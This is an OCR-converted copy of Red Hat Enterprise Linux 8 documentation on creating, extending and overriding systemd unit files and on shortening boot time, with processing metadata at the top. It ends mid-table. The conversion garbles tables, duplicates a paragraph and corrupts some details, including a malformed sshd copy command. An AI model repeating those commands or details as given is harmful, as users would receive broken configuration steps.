"google_gemma-3-12b-it_contains_pii": [[0, 5721, false], [5721, 12665, null], [12665, 17933, null], [17933, 23320, null], [23320, 28746, null], [28746, 34781, null], [34781, 38324, null], [38324, 44760, null], [44760, 45810, null], [45810, 47609, null], [47609, 52964, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5721, true], [5721, 12665, null], [12665, 17933, null], [17933, 23320, null], [23320, 28746, null], [28746, 34781, null], [34781, 38324, null], [38324, 44760, null], [44760, 45810, null], [45810, 47609, null], [47609, 52964, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52964, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52964, null]], "pdf_page_numbers": [[0, 5721, 1], [5721, 12665, 2], [12665, 17933, 3], [17933, 23320, 4], [23320, 28746, 5], [28746, 34781, 6], [34781, 38324, 7], [38324, 44760, 8], [44760, 45810, 9], [45810, 47609, 10], [47609, 52964, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52964, 0.08543]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
02ac9aa5882fde35459dc5fd437c90799c17d8af
Red Hat Enterprise Linux 8 Using systemd unit files to customize and optimize your system Optimize system performance and extend configuration with systemd Red Hat Enterprise Linux 8 Using systemd unit files to customize and optimize your system Optimize system performance and extend configuration with systemd Abstract Modify the systemd unit files and extend the default configuration, examine the system boot performance and optimize systemd to shorten the boot time. Table of Contents MAKING OPEN SOURCE MORE INCLUSIVE ........................................................................ 3 PROVIDING FEEDBACK ON RED HAT DOCUMENTATION ..................................... 4 CHAPTER 1. WORKING WITH SYSTEMD UNIT FILES ............................................. 5 1.1. INTRODUCTION TO UNIT FILES ................................................................. 5 1.2. SYSTEMD UNIT FILES LOCATIONS ........................................................... 5 1.3. UNIT FILE STRUCTURE ............................................................................... 6 1.4. IMPORTANT [UNIT] SECTION OPTIONS .................................................... 6 1.5. IMPORTANT [SERVICE] SECTION OPTIONS ............................................ 7 1.6. IMPORTANT [INSTALL] SECTION OPTIONS .............................................. 9 1.7. CREATING CUSTOM UNIT FILES .............................................................. 9 1.8. CREATING A CUSTOM UNIT FILE BY USING THE SECOND INSTANCE OF THE SSHD SERVICE .......................................................... 11 1.9. FINDING THE SYSTEMD SERVICE DESCRIPTION .................................... 12 1.10. FINDING THE SYSTEMD SERVICE DEPENDENCIES ............................. 12 1.11. FINDING DEFAULT TARGETS OF THE SERVICE .................................... 13 1.12. FINDING FILES USED BY THE SERVICE .............................................. 13 1.13. MODIFYING EXISTING UNIT FILES ....................................................... 15 1.14. EXTENDING THE DEFAULT UNIT CONFIGURATION ............................ 16 1.15. OVERRIDING THE DEFAULT UNIT CONFIGURATION ........................... 17 1.16. CHANGING THE TIMEOUT LIMIT ............................................................. 17 1.17. MONITORING OVERRIDDEN UNITS ...................................................... 18 1.18. WORKING WITH INSTANTIATED UNITS ............................................... 19 1.19. IMPORTANT UNIT SPECIFIERS ............................................................... 19 1.20. ADDITIONAL RESOURCES .................................................................... 20 CHAPTER 2. OPTIMIZING SYSTEMD TO SHORTEN THE BOOT TIME .................... 21 2.1. EXAMINING SYSTEM BOOT PERFORMANCE ......................................... 21 2.2. A GUIDE TO SELECTING SERVICES THAT CAN BE SAFELY DISABLED .. 22 2.3. ADDITIONAL RESOURCES ..................................................................... 25 Red Hat is committed to replacing problematic language in our code, documentation, and web properties. We are beginning with these four terms: master, slave, blacklist, and whitelist. Because of the enormity of this endeavor, these changes will be implemented gradually over several upcoming releases. For more details, see our CTO Chris Wright’s message. PROVIDING FEEDBACK ON RED HAT DOCUMENTATION We appreciate your feedback on our documentation. Let us know how we can improve it. Submitting feedback through Jira (account required) 1. Log in to the Jira website. 2. Click Create in the top navigation bar. 3. Enter a descriptive title in the Summary field. 4. Enter your suggestion for improvement in the Description field. Include links to the relevant parts of the documentation. 5. Click Create at the bottom of the dialogue. CHAPTER 1. WORKING WITH SYSTEMD UNIT FILES The **systemd** unit files represent your system resources. As a system administrator, you can perform the following advanced tasks: - Create custom unit files - Modify existing unit files - Work with instantiated units 1.1. INTRODUCTION TO UNIT FILES A unit file contains configuration directives that describe the unit and define its behavior. Several **systemctl** commands work with unit files in the background. To make finer adjustments, you can edit or create unit files manually. You can find three main directories where unit files are stored on the system, the `/etc/systemd/system/` directory is reserved for unit files created or customized by the system administrator. Unit file names take the following form: ``` <unit_name>.<type_extension> ``` Here, `unit_name` stands for the name of the unit and `type_extension` identifies the unit type. For example, you can find an `sshd.service` as well as an `sshd.socket` unit present on your system. Unit files can be supplemented with a directory for additional configuration files. For example, to add custom configuration options to `sshd.service`, create the `sshd.service.d/custom.conf` file and insert additional directives there. For more information on configuration directories, see **Modifying existing unit files**. The **systemd** system and service manager can also create the `sshd.service.wants/` and `sshd.service.requires/` directories. These directories contain symbolic links to unit files that are dependencies of the `sshd` service. **systemd** creates the symbolic links automatically either during installation according to `[Install]` unit file options or at runtime based on `[Unit]` options. You can also create these directories and symbolic links manually. Also, the `sshd.service.wants/` and `sshd.service.requires/` directories can be created. These directories contain symbolic links to unit files that are dependencies of the `sshd` service. The symbolic links are automatically created either during installation according to `[Install]` unit file options or at runtime based on `[Unit]` options. It is also possible to create these directories and symbolic links manually. For more details on `[Install]` and `[Unit]` options, see the tables below. Many unit file options can be set using the so called **unit specifiers** – wildcard strings that are dynamically replaced with unit parameters when the unit file is loaded. This enables creation of generic unit files that serve as templates for generating instantiated units. See **Working with instantiated units**. 1.2. SYSTEMD UNIT FILES LOCATIONS You can find the unit configuration files in one of the following directories: <table> <thead> <tr> <th>Table 1.1. systemd unit files locations</th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td></td> </tr> </tbody> </table> ### Directory | Description --- | --- /usr/lib/systemd/system/ | *systemd* unit files distributed with installed RPM packages. /run/systemd/system/ | *systemd* unit files created at run time. This directory takes precedence over the directory with installed service unit files. /etc/systemd/system/ | *systemd* unit files created by using the `systemctl enable` command as well as unit files added for extending a service. This directory takes precedence over the directory with runtime unit files. The default configuration of *systemd* is defined during the compilation and you can find the configuration in the `/etc/systemd/system.conf` file. By editing this file, you can modify the default configuration by overriding values for *systemd* units globally. For example, to override the default value of the timeout limit, which is set to 90 seconds, use the `DefaultTimeoutStartSec` parameter to input the required value in seconds. ``` DefaultTimeoutStartSec=required value ``` ## 1.3. UNIT FILE STRUCTURE Unit files typically consist of three following sections: ### The `[Unit]` section Contains generic options that are not dependent on the type of the unit. These options provide unit description, specify the unit’s behavior, and set dependencies to other units. For a list of most frequently used `[Unit]` options, see **Important [Unit] section options**. ### The `[Unit type]` section Contains type-specific directives, these are grouped under a section named after the unit type. For example, service unit files contain the `[Service]` section. ### The `[Install]` section Contains information about unit installation used by `systemctl enable` and `disable` commands. For a list of options for the `[Install]` section, see **Important [Install] section options**. ### Additional resources - Important [Unit] section options - Important [Service] section options - Important [Install] section options ## 1.4. IMPORTANT [UNIT] SECTION OPTIONS The following tables lists important options of the `[Unit]` section. Table 1.2. Important [Unit] section options <table> <thead> <tr> <th>Option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><strong>Description</strong></td> <td>A meaningful description of the unit. This text is displayed for example in the output of the <code>systemctl status</code> command.</td> </tr> <tr> <td><strong>Documentation</strong></td> <td>Provides a list of URIs referencing documentation for the unit.</td> </tr> <tr> <td><strong>After</strong>&lt;sup&gt;[b]&lt;/sup&gt;</td> <td>Defines the order in which units are started. The unit starts only after the units specified in <strong>After</strong> are active. Unlike <strong>Requires</strong>, <strong>After</strong> does not explicitly activate the specified units. The <strong>Before</strong> option has the opposite functionality to <strong>After</strong>.</td> </tr> <tr> <td><strong>Requires</strong></td> <td>Configures dependencies on other units. The units listed in <strong>Requires</strong> are activated together with the unit. If any of the required units fail to start, the unit is not activated.</td> </tr> <tr> <td><strong>Wants</strong></td> <td>Configures weaker dependencies than <strong>Requires</strong>. If any of the listed units does not start successfully, it has no impact on the unit activation. This is the recommended way to establish custom unit dependencies.</td> </tr> <tr> <td><strong>Conflicts</strong></td> <td>Configures negative dependencies, an opposite to <strong>Requires</strong>.</td> </tr> </tbody> </table> <sup>[a]</sup> For a complete list of options configurable in the [Unit] section, see the `systemd.unit(5)` manual page. <sup>[b]</sup> In most cases, it is sufficient to set only the ordering dependencies with **After** and **Before** unit file options. If you also set a requirement dependency with **Wants** (recommended) or **Requires**, the ordering dependency still needs to be specified. That is because ordering and requirement dependencies work independently from each other. 1.5. IMPORTANT [SERVICE] SECTION OPTIONS The following tables lists important options of the [Service] section. Table 1.3. Important [Service] section options <table> <thead> <tr> <th>Option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Option</td> <td>Description</td> </tr> <tr> <td>--------------</td> <td>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td> </tr> <tr> <td>Type</td> <td>Configures the unit process startup type that affects the functionality of <strong>ExecStart</strong> and related options. One of:</td> </tr> <tr> <td></td> <td>* <strong>simple</strong> – The default value. The process started with <strong>ExecStart</strong> is the main process of the service.</td> </tr> <tr> <td></td> <td>* <strong>forking</strong> – The process started with <strong>ExecStart</strong> spawns a child process that becomes the main process of the service. The parent process exits when the startup is complete.</td> </tr> <tr> <td></td> <td>* <strong>oneshot</strong> – This type is similar to <strong>simple</strong>, but the process exits before starting consequent units.</td> </tr> <tr> <td></td> <td>* <strong>dbus</strong> – This type is similar to <strong>simple</strong>, but consequent units are started only after the main process gains a D-Bus name.</td> </tr> <tr> <td></td> <td>* <strong>notify</strong> – This type is similar to <strong>simple</strong>, but consequent units are started only after a notification message is sent via the <strong>sd_notify()</strong> function.</td> </tr> <tr> <td></td> <td>* <strong>idle</strong> – similar to <strong>simple</strong>, the actual execution of the service binary is delayed until all jobs are finished, which avoids mixing the status output with shell output of services.</td> </tr> <tr> <td>ExecStart</td> <td>Specifies commands or scripts to be executed when the unit is started. <strong>ExecStartPre</strong> and <strong>ExecStartPost</strong> specify custom commands to be executed before and after <strong>ExecStart</strong>. <strong>Type=oneshot</strong> enables specifying multiple custom commands that are then executed sequentially.</td> </tr> <tr> <td>ExecStop</td> <td>Specifies commands or scripts to be executed when the unit is stopped.</td> </tr> <tr> <td>ExecReload</td> <td>Specifies commands or scripts to be executed when the unit is reloaded.</td> </tr> <tr> <td>Restart</td> <td>With this option enabled, the service is restarted after its process exits, with the exception of a clean stop by the <strong>systemctl</strong> command.</td> </tr> <tr> <td>RemainAfterExit</td> <td>If set to True, the service is considered active even when all its processes exited. Default value is False. This option is especially useful if <strong>Type=oneshot</strong> is configured.</td> </tr> <tr> <td>Option</td> <td>Description</td> </tr> <tr> <td>---------</td> <td>-------------</td> </tr> <tr> <td>Alias</td> <td>Provides a space-separated list of additional names for the unit. Most systemctl commands, excluding systemctl enable, can use aliases instead of the actual unit name.</td> </tr> <tr> <td>RequiredBy</td> <td>A list of units that depend on the unit. When this unit is enabled, the units listed in RequiredBy gain a Require dependency on the unit.</td> </tr> <tr> <td>WantedBy</td> <td>A list of units that weakly depend on the unit. When this unit is enabled, the units listed in WantedBy gain a Want dependency on the unit.</td> </tr> <tr> <td>Also</td> <td>Specifies a list of units to be installed or uninstalled along with the unit.</td> </tr> <tr> <td>DefaultInstance</td> <td>Limited to instantiated units, this option specifies the default instance for which the unit is enabled. See Working with instantiated units.</td> </tr> </tbody> </table> [A] For a complete list of options configurable in the [Install] section, see the systemd.unit(5) manual page. 1.7. CREATING CUSTOM UNIT FILES There are several use cases for creating unit files from scratch: you could run a custom daemon, create a second instance of some existing service as in Creating a custom unit file by using the second instance of the sshd service On the other hand, if you intend just to modify or extend the behavior of an existing unit, use the instructions from Modifying existing unit files. Procedure 1. To create a custom service, prepare the executable file with the service. The file can contain a custom-created script, or an executable delivered by a software provider. If required, prepare a PID file to hold a constant PID for the main process of the custom service. You can also include environment files to store shell variables for the service. Make sure the source script is executable (by executing the `chmod a+x`) and is not interactive. 2. Create a unit file in the `/etc/systemd/system/` directory and make sure it has correct file permissions. Execute as root: ``` # touch /etc/systemd/system/<name>.service # chmod 664 /etc/systemd/system/<name>.service ``` Replace `<name>` with a name of the service you want to created. Note that the file does not need to be executable. 3. Open the created `<name>.service` file and add the service configuration options. You can use various options depending on the type of service you wish to create, see Unit file structure. The following is an example unit configuration for a network-related service: ``` [Unit] Description=<service_description> After=network.target [Service] ExecStart=<path_to_executable> Type=forking PIDFile=<path_to_pidfile> [Install] WantedBy=default.target ``` - `<service_description>` is an informative description that is displayed in journal log files and in the output of the `systemctl status` command. - the `After` setting ensures that the service is started only after the network is running. Add a space-separated list of other relevant services or targets. - `path_to_executable` stands for the path to the actual service executable. - `Type=forking` is used for daemons that make the fork system call. The main process of the service is created with the PID specified in `path_to_pidfile`. Find other startup types in Important [Service] section options. - `WantedBy` states the target or targets that the service should be started under. Think of these targets as of a replacement of the older concept of runlevels. 4. Notify systemd that a new `<name>.service` file exists: ``` # systemctl daemon-reload # systemctl start <name>.service ``` 1.8. CREATING A CUSTOM UNIT FILE BY USING THE SECOND INSTANCE OF THE SSHD SERVICE If you need to configure and run multiple instances of a service, you can create copies of the original service configuration files and modifying certain parameters to avoid conflicts with the primary instance of the service. **Procedure** To create a second instance of the `sshd` service: 1. Create a copy of the `sshd_config` file that the second daemon will use: ``` # cp /etc/ssh/sshd{-second}_config ``` 2. Edit the `sshd-second_config` file created in the previous step to assign a different port number and PID file to the second daemon: ``` Port 22220 PidFile /var/run/sshd-second.pid ``` See the `sshd_config`(5) manual page for more information about `Port` and `PidFile` options. Make sure the port you choose is not in use by any other service. The PID file does not have to exist before running the service, it is generated automatically on service start. 3. Create a copy of the `systemd` unit file for the `sshd` service: ``` # cp /usr/lib/systemd/system/sshd.service /etc/systemd/system/sshd-second.service ``` 4. Alter the created `sshd-second.service`: a. Modify the `Description` option: ``` Description=OpenSSH server second instance daemon ``` b. Add `sshd.service` to services specified in the `After` option, so that the second instance starts only after the first one has already started: ``` After=syslog.target network.target auditd.service sshd.service ``` c. Remove the `ExecStartPre=/usr/sbin/sshd-keygen` line, the first instance of `sshd` includes key generation. d. Add the `-f /etc/ssh/sshd-second_config` parameter to the `sshd` command, so that the alternative configuration file is used: ``` ExecStart=/usr/sbin/sshd -D -f /etc/ssh/sshd-second_config $OPTIONS ``` e. After the modifications, the `sshd-second.service` unit file contains the following settings: ``` [Unit] Description=OpenSSH server second instance daemon After=syslog.target network.target auditd.service sshd.service [Service] EnvironmentFile=/etc/sysconfig/sshd ExecStart=/usr/sbin/sshd -D -f /etc/ssh/sshd-second_config $OPTIONS ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartSec=42s [Install] WantedBy=multi-user.target ``` 5. If using SELinux, add the port for the second instance of `sshd` to SSH ports, otherwise the second instance of `sshd` will be rejected to bind to the port: ``` # semanage port -a -t ssh_port_t -p tcp 22220 ``` 6. Enable `sshd-second.service` to start automatically on boot: ``` # systemctl enable sshd-second.service ``` 7. Verify if the `sshd-second.service` is running by using the `systemctl status` command. 8. Verify if the port is enabled correctly by connecting to the service: ``` $ ssh -p 22220 user@server ``` Make sure you configure firewall to allow connections to the second instance of `sshd`. ### 1.9. FINDING THE SYSTEMD SERVICE DESCRIPTION You can find descriptive information about the script on the line starting with `#description`. Use this description together with the service name in the `Description` option in the [Unit] section of the unit file. The header might contain similar data on the `#Short-Description` and `#Description` lines. ### 1.10. FINDING THE SYSTEMD SERVICE DEPENDENCIES The Linux standard base (LSB) header might contain several directives that form dependencies between services. Most of them are translatable to systemd unit options, see the following table: Table 1.5. Dependency options from the LSB header <table> <thead> <tr> <th>LSB Option</th> <th>Description</th> <th>Unit File Equivalent</th> </tr> </thead> <tbody> <tr> <td>Provides</td> <td>Specifies the boot facility name of the service, that can be referenced in other init scripts (with the &quot;$&quot; prefix). This is no longer needed as unit files refer to other units by their file names.</td> <td>–</td> </tr> <tr> <td>Required-Start</td> <td>Contains boot facility names of required services. This is translated as an ordering dependency, boot facility names are replaced with unit file names of corresponding services or targets they belong to. For example, in case of postfix, the Required-Start dependency on $network was translated to the After dependency on network.target.</td> <td>After, Before</td> </tr> <tr> <td>Should-Start</td> <td>Constitutes weaker dependencies than Required-Start. Failed Should-Start dependencies do not affect the service startup.</td> <td>After, Before</td> </tr> <tr> <td>Required-Stop, Should-Stop</td> <td>Constitute negative dependencies.</td> <td>Conflicts</td> </tr> </tbody> </table> 1.11. FINDING DEFAULT TARGETS OF THE SERVICE The line starting with `#chkconfig` contains three numerical values. The most important is the first number that represents the default runlevels in which the service is started. Map these runlevels to equivalent systemd targets. Then list these targets in the `WantedBy` option in the [Install] section of the unit file. For example, `postfix` was previously started in runlevels 2, 3, 4, and 5, which translates to multi-user.target and graphical.target. Note that the graphical.target depends on multiuser.target, therefore it is not necessary to specify both. You might find information about default and forbidden runlevels also at `#Default-Start` and `#Default-Stop` lines in the LSB header. The other two values specified on the `#chkconfig` line represent startup and shutdown priorities of the init script. These values are interpreted by `systemd` if it loads the init script, but there is no unit file equivalent. 1.12. FINDING FILES USED BY THE SERVICE Init scripts require loading a function library from a dedicated directory and allow importing configuration, environment, and PID files. Environment variables are specified on the line starting with `#config` in the init script header, which translates to the `EnvironmentFile` unit file option. The PID file specified on the `#pidfile` init script line is imported to the unit file with the `PIDFile` option. The key information that is not included in the init script header is the path to the service executable, and potentially some other files required by the service. In previous versions of Red Hat Enterprise Linux, init scripts used a Bash case statement to define the behavior of the service on default actions, such as `start`, `stop`, or `restart`, as well as custom-defined actions. The following excerpt from the `postfix` init script shows the block of code to be executed at service start. ```bash conf_check() { [ -x /usr/sbin/postfix ] || exit 5 [ -d /etc/postfix ] || exit 6 [ -d /var/spool/postfix ] || exit 5 } make_aliasesdb() { if [ "$(/usr/sbin/postconf -h alias_database)" == "hash:/etc/aliases" ] then # /etc/aliases.db might be used by other MTA, make sure nothing # has touched it since our last newaliases call [ /etc/aliases -nt /etc/aliases.db ] || [ "$ALIASESDB_STAMP" -nt /etc/aliases.db ] || [ "$ALIASESDB_STAMP" -ot /etc/aliases.db ] || return /usr/bin/newaliases touch -r /etc/aliases.db "$ALIASESDB_STAMP" else /usr/bin/newaliases fi } start() { [ "$EUID" != "0" ] && exit 4 # Check that networking is up. [ ${NETWORKING} = "no" ] && exit 1 conf_check # Start daemons. echo -n "$"Starting postfix: " make_aliasesdb >/dev/null 2>&1 [ -x $CHROOT_UPDATE ] && $CHROOT_UPDATE /usr/sbin/postfix start 2>/dev/null 1>&2 && success || failure "$prog start" RETVAL=$? [ $RETVAL -eq 0 ] && touch $lockfile echo return $RETVAL } ``` The extensibility of the init script allowed specifying two custom functions, `conf_check()` and `make_aliasesdb()`, that are called from the `start()` function block. On closer look, several external files and directories are mentioned in the above code: the main service executable `/usr/sbin/postfix`, the `/etc/postfix/` and `/var/spool/postfix/` configuration directories, as well as the `/usr/sbin/postconf/` directory. `systemd` supports only the predefined actions, but enables executing custom executables with `ExecStart`, `ExecStartPre`, `ExecStartPost`, `ExecStop`, and `ExecReload` options. The `/usr/sbin/postfix` together with supporting scripts are executed on service start. Converting complex init scripts requires understanding the purpose of every statement in the script. Some of the statements are specific to the operating system version, therefore you do not need to translate them. On the other hand, some adjustments might be needed in the new environment, both in unit file as well as in the service executable and supporting files. 1.13. MODIFYING EXISTING UNIT FILES If you want to modify existing unit files proceed to the `/etc/systemd/system/` directory. Note that you should not modify the your the default unit files, which your system stores in the `/usr/lib/systemd/system/` directory. Procedure 1. Depending on the extent of the required changes, pick one of the following approaches: - Create a directory for supplementary configuration files at `/etc/systemd/system/<unit>.d/`. This method is recommended for most use cases. You can extend the default configuration with additional functionality, while still referring to the original unit file. Changes to the default unit introduced with a package upgrade are therefore applied automatically. See Extending the default unit configuration for more information. - Create a copy of the original unit file from `/usr/lib/systemd/system/` directory in the `/etc/systemd/system/` directory and make changes there. The copy overrides the original file, therefore changes introduced with the package update are not applied. This method is useful for making significant unit changes that should persist regardless of package updates. See Overriding the default unit configuration for details. 2. To return to the default configuration of the unit, delete custom-created configuration files in the `/etc/systemd/system/` directory. 3. Apply changes to unit files without rebooting the system: ``` # systemctl daemon-reload ``` The `daemon-reload` option reloads all unit files and recreates the entire dependency tree, which is needed to immediately apply any change to a unit file. As an alternative, you can achieve the same result with the following command: ``` # init q ``` 4. If the modified unit file belongs to a running service, restart the service: ``` # systemctl restart <name>.service ``` **IMPORTANT** To modify properties, such as dependencies or timeouts, of a service that is handled by a SysV initscript, do not modify the initscript itself. Instead, create a `systemd` drop-in configuration file for the service as described in: Extending the default unit configuration and Overriding the default unit configuration. Then manage this service in the same way as a normal `systemd` service. For example, to extend the configuration of the `network` service, do not modify the `/etc/rc.d/init.d/network` initscript file. Instead, create new directory `/etc/systemd/system/network.service.d/` and a `systemd` drop-in file `/etc/systemd/system/network.service.d/my_config.conf`. Then, put the modified values into the drop-in file. Note: `systemd` knows the `network` service as `network.service`, which is why the created directory must be called `network.service.d`. 1.14. EXTENDING THE DEFAULT UNIT CONFIGURATION You can extend the default unit file with additional systemd configuration options. Procedure 1. Create a configuration directory in `/etc/systemd/system/`: ```bash mkdir /etc/systemd/system/<name>.service.d/ ``` Replace `<name>` with the name of the service you want to extend. The syntax applies to all unit types. 2. Create a configuration file with the `.conf` suffix: ```bash touch /etc/systemd/system/name.service.d/<config_name>.conf ``` Replace `<config_name>` with the name of the configuration file. This file adheres to the normal unit file structure and you have to specify all directives in the appropriate sections, see Unit file structure. For example, to add a custom dependency, create a configuration file with the following content: ```ini [Unit] Requires=<new_dependency> After=<new_dependency> ``` The `<new_dependency>` stands for the unit to be marked as a dependency. Another example is a configuration file that restarts the service after its main process exited, with a delay of 30 seconds: ```ini [Service] Restart=always RestartSec=30 ``` Create small configuration files focused only on one task. Such files can be easily moved or linked to configuration directories of other services. 3. Apply changes to the unit: ```bash systemctl daemon-reload systemctl restart <name>.service ``` Example 1.1. Extending the httpd.service configuration To modify the `httpd.service` unit so that a custom shell script is automatically executed when starting the Apache service, perform the following steps. 1. Create a directory and a custom configuration file: ```bash mkdir /etc/systemd/system/httpd.service.d/ ``` 2. Specify the script you want to execute after the main service process by inserting the following text to the `custom_script.conf` file: ``` [Service] ExecStartPost=/usr/local/bin/custom.sh ``` 3. Apply the unit changes: ```# systemctl daemon-reload # systemctl restart httpd.service ``` **NOTE** The configuration files from the `/etc/systemd/system/` configuration directories take precedence over unit files in `/usr/lib/systemd/system/`. Therefore, if the configuration files contain an option that can be specified only once, such as `Description` or `ExecStart`, the default value of this option is overridden. Note that in the output of the `systemd-delta` command, described in Monitoring overridden units, such units are always marked as `[EXTENDED]`, even though in sum, certain options are actually overridden. ### 1.15. OVERRIDING THE DEFAULT UNIT CONFIGURATION You can make changes to the unit file configuration that will persist after updating the package that provides the unit file. **Procedure** 1. Copy the unit file to the `/etc/systemd/system/` directory by entering the following command as root: ```# cp /usr/lib/systemd/system/<name>.service /etc/systemd/system/<name>.service ``` 2. Open the copied file with a text editor, and make changes. 3. Apply unit changes: ```# systemctl daemon-reload # systemctl restart <name>.service ``` ### 1.16. CHANGING THE TIMEOUT LIMIT You can specify a timeout value per service to prevent a malfunctioning service from freezing the system. Otherwise, the default value for timeout is 90 seconds for normal services and 300 seconds for SysV-compatible services. **Procedure** To extend timeout limit for the `httpd` service: 1. Copy the **httpd** unit file to the `/etc/systemd/system/` directory: ``` # cp /usr/lib/systemd/system/httpd.service /etc/systemd/system/httpd.service ``` 2. Open the `/etc/systemd/system/httpd.service` file and specify the **TimeoutStartUSec** value in the **[Service]** section: ``` ... [Service] ... PrivateTmp=true TimeoutStartSec=10 ``` 3. Reload the **systemd** daemon: ``` # systemctl daemon-reload ``` 4. Optional. Verify the new timeout value: ``` # systemctl show httpd -p TimeoutStartUSec ``` **NOTE** To change the timeout limit globally, input the `DefaultTimeoutStartSec` in the `/etc/systemd/system.conf` file. ### 1.17. MONITORING OVERRIDDEN UNITS You can display an overview of overridden or modified unit files by using the **systemd-delta** command. **Procedure** - Display an overview of overridden or modified unit files: ``` # systemd-delta ``` For example, the output of the command can look as follows: ``` [EQUIVALENT] /etc/systemd/system/default.target → /usr/lib/systemd/system/default.target [OVERRIDDEN] /etc/systemd/system/autofs.service → /usr/lib/systemd/system/autofs.service +++ /etc/systemd/system/autofs.service 2014-11-21 10:00:58.513568275 -0500 @@ -8,7 +8,8 @@ EnvironmentFile=-/etc/sysconfig/autofs ExecStart=/usr/sbin/automount $OPTIONS --pid-file /run/autofs.pid ExecReload=/usr/bin/kill -HUP $MAINPID -TimeoutSec=180 +TimeoutSec=180 ``` 1.18. WORKING WITH INSTANTIATED UNITS You can manage multiple instances of a service by using a single template configuration. You can define a generic template for a unit and generate multiple instances of that unit with specific parameters at runtime. The template is indicated by the at sign (@). Instantiated units can be started from another unit file (using Requires or Wants options), or with the systemctl start command. Instantiated service units are named the following way: \[ <\text{template\_name}>@<\text{instance\_name}>.service \] The \(<\text{template\_name}>\) stands for the name of the template configuration file. Replace \(<\text{instance\_name}>\) with the name for the unit instance. Several instances can point to the same template file with configuration options common for all instances of the unit. Template unit name has the form of: \[ <\text{unit\_name}>@.service \] For example, the following Wants setting in a unit file: \[ \text{Wants=\text{getty@ttyA.service \ getty@ttyB.service}} \] first makes systemd search for given service units. If no such units are found, the part between "@" and the type suffix is ignored and systemd searches for the \text{getty@.service} file, reads the configuration from it, and starts the services. For example, the \text{getty@.service} template contains the following directives: \[ \begin{align*} \text{[Unit]} \\ \text{Description=Howdy on %I} \\ \text{...} \\ \text{[Service]} \\ \text{ExecStart=-/sbin/agetty --noclear %I $TERM} \\ \text{...} \end{align*} \] When the \text{getty@ttyA.service} and \text{getty@ttyB.service} are instantiated from the above template, Description is resolved as Howdy on ttyA and Howdy on ttyB. 1.19. IMPORTANT UNIT SPECIFIERS You can use the wildcard characters, called unit specifiers, in any unit configuration file. Unit specifiers substitute certain unit parameters and are interpreted at runtime. ### Table 1.6. Important unit specifiers <table> <thead> <tr> <th>Unit Specifier</th> <th>Meaning</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>%n</td> <td>Full unit name</td> <td>Stands for the full unit name including the type suffix. %N has the same meaning but also replaces the forbidden characters with ASCII codes.</td> </tr> <tr> <td>%p</td> <td>Prefix name</td> <td>Stands for a unit name with type suffix removed. For instantiated units %p stands for the part of the unit name before the &quot;@&quot; character.</td> </tr> <tr> <td>%i</td> <td>Instance name</td> <td>Is the part of the instantiated unit name between the &quot;@&quot; character and the type suffix. %I has the same meaning but also replaces the forbidden characters for ASCII codes.</td> </tr> <tr> <td>%H</td> <td>Host name</td> <td>Stands for the hostname of the running system at the point in time the unit configuration is loaded.</td> </tr> <tr> <td>%t</td> <td>Runtime directory</td> <td>Represents the runtime directory, which is either /run for the root user, or the value of the XDG_RUNTIME_DIR variable for unprivileged users.</td> </tr> </tbody> </table> For a complete list of unit specifiers, see the `systemd.unit(5)` manual page. ### 1.20. ADDITIONAL RESOURCES - How to set limits for services in RHEL and systemd - How to write a service unit file which enforces that particular services have to be started - How to decide what dependencies a systemd service unit definition should have CHAPTER 2. OPTIMIZING SYSTEMD TO SHORTEN THE BOOT TIME As a system administrator, you can optimize performance of your system and shorten the boot time. You can review the services that `systemd` starts during boot and evaluate their necessity. Disabling certain services to start at boot can improve the boot time of your system. 2.1. EXAMINING SYSTEM BOOT PERFORMANCE To examine system boot performance, you can use the `systemd-analyze` command. By using certain options, you can tune systemd to shorten the boot time. Prerequisites - Optional: Before you examine `systemd` to tune the boot time, list all enabled services: ``` $ systemctl list-unit-files --state=enabled ``` Procedure Choose the information you want to analyze: - Analyze the information about the time that the last successful boot took: ``` $ systemd-analyze ``` - Analyze the unit initialization time of each `systemd` unit: ``` $ systemd-analyze blame ``` The output lists the units in descending order according to the time they took to initialize during the last successful boot. - Identify critical units that took the longest time to initialize at the last successful boot: ``` $ systemd-analyze critical-chain ``` The output highlights the units that critically slow down the boot with the red color. 2.2. A GUIDE TO SELECTING SERVICES THAT CAN BE SAFELY DISABLED You can shorten the boot time of your system by disabling certain services that are enabled on boot by default. - List enabled services: ```bash $ systemctl list-unit-files --state=enabled # systemctl disable <service_name> Certain services must stay enabled so that your operating system is safe and functions in the way you need. Refer to the following table as a guide to selecting the services that you can safely disable. The table lists all services enabled by default on a minimal installation of Red Hat Enterprise Linux. Table 2.1. Services enabled by default on a minimal installation of RHEL <table> <thead> <tr> <th>Service name</th> <th>Can it be disabled?</th> <th>More information</th> </tr> </thead> </table> Additional resources - `systemd-analyze (1)` man page <table> <thead> <tr> <th>Service name</th> <th>Can it be disabled?</th> <th>More information</th> </tr> </thead> <tbody> <tr> <td>auditd.service</td> <td>yes</td> <td>Disable <code>auditd.service</code> only if you do not need audit messages from the kernel. Be aware that if you disable <code>auditd.service</code>, the <code>/var/log/audit/audit.log</code> file is not produced. Consequently, you are not able to retroactively review some commonly-reviewed actions or events, such as user logins, service starts or password changes. Also note that auditd has two parts: a kernel part, and a service itself. By 